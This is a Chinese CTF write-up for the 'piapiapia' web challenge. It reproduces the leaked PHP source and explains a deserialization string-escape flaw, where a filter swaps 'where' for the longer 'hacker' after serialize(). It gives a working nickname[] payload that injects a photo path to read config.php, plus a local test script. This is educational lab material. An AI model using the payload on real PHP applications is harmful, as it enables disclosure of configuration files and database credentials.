piapiapia

顺手存一下图片~

输入admin@admin
(@表示分割姓名密码)提示Invalid user name or password
输入admin@1
提示Invalid password
输入admin@asd
提示Invalid user name or password
输入admin@123
提示Invalid user name or password
输入sadaaaaaa@asdddd
提示Invalid user name
输入username=aaaaaaaaaabbbbbbb&password=21
提示Invalid user name
输入username=aaaaaaaaaabbbbb&password=22
提示Invalid password
输入username=aaaaaaaaaabbbbbb&password=211
提示Invalid user name or password
貌似和长度有关系,但是没看到有啥用
扫一下目录发现
1 2
| Dir found: /register.php - 200 Dir found: /www.zip - 200
|
原来是有注册的呀!
下面列出关键部分的代码
跳转顺序: index.php-> register.php -> update.php -> profile.php 中间会调用class.php进行过滤等操作
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { html页面 }
|
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); <--- $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); <---
|
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| <?php require('config.php');
class user extends mysql{ private $table = 'users';
public function is_exists($username) { $username = parent::filter($username);
$where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username);
$where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } }
class mysql { private $link = null;
public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'");
return $this->link; }
public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); }
public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); }
public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }
public function filter($string) { <--- 过滤函数 $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
|
整个流程大概就是先注册(register.php),填入username@password
,对这两个字段过滤(class.php),把.和\
替换成_
,把'select', 'insert', 'update', 'delete', 'where'
替换成hacker
,password
被md5加密,然后进入登录页面(login.php),输入刚才的名字密码,发现第一次登录profile
字段没有值,也就是没有认证,会跳转到update.php
的界面,在这个页面对profile
赋值:
1 2 3 4 5
| $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); <-- 进行了序列化操作
|
赋值后会进行一次有替换操作的过滤然后插入到数据库,然后回到profile.php
,通过认证后:
1 2 3 4 5
| $profile = unserialize($profile); --> 进行了反序列化 $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
|
可以发现一个很关键的地方,插入的时候进行了序列化,序列化后进行了过滤,过滤中又有字符串的替换,然后将替换后的字符串在进行反序列化,这其中字符串的替换如果替换长度有问题,就可能导致超出序列化时确定的字符长度的字符不会被反序列化。
看看class.php中关键的过滤函数:
1 2 3 4 5 6 7 8
| public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
|
发现被替换的单词where
和他的替换者hacker
长度不一样,所以存在这种反序列化操作的逻辑漏洞
我们目的是在nickname后面填充上";}s:5:“photo”;s:10:“config.php”;}
,但是由于对email和nickname长度都进行了限制,所以无法构造完整的payload,所以要绕过这个长度限制,可以用数组来绕过
1 2 3 4
| 没法构造完整的payload a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:5:"1@1.a";s:8:"nickname";s:1:"a";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";} a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:32:"wherewhere@wherewhere.wheres:13:";s:8:"nickname";s:10:"config.php";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";} a:4:{s:5:"phone";s:11:"12345678912";s:5:"email";s:32:"hackerhacker@hackerhacker.hackers:13:";s:8:"nickname";s:10:"config.php";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}
|
1 2 3 4 5 6 7
| md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) = null preg_match(pattern,Array()) = false strcmp(Array(), "abc") = null strpos(Array(),"abc") = null strlen(Array()) = null
|
";}s:5:“photo”;s:10:“config.php”;}
是34个字符,hacker比where长度大1,所以需要34个where被替换成hacker

payload:
1
| nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
|
1 2 3 4 5 6 7 8
| 序列化后的亚子: $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
序列化后的关键部分: s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/7c58dc746fb4034df0e2f6f4467198ab";}
序列化并进行替换后的亚子,可以发现s:204刚好覆盖了hacker的长度: s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/7c58dc746fb4034df0e2f6f4467198ab";}
|

最后提取base64解密就好了

本地测试的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$profile=serialize($profile); $profile=filter($profile); $profile=unserialize($profile); $photo = base64_encode(file_get_contents($profile['photo']));
echo 'Update Profile Success'; echo '<img src="data:image/gif;base64,'.$photo.'" class="img-memeda " style="width:180px;margin:0px auto;">';
} else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="serilize.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
|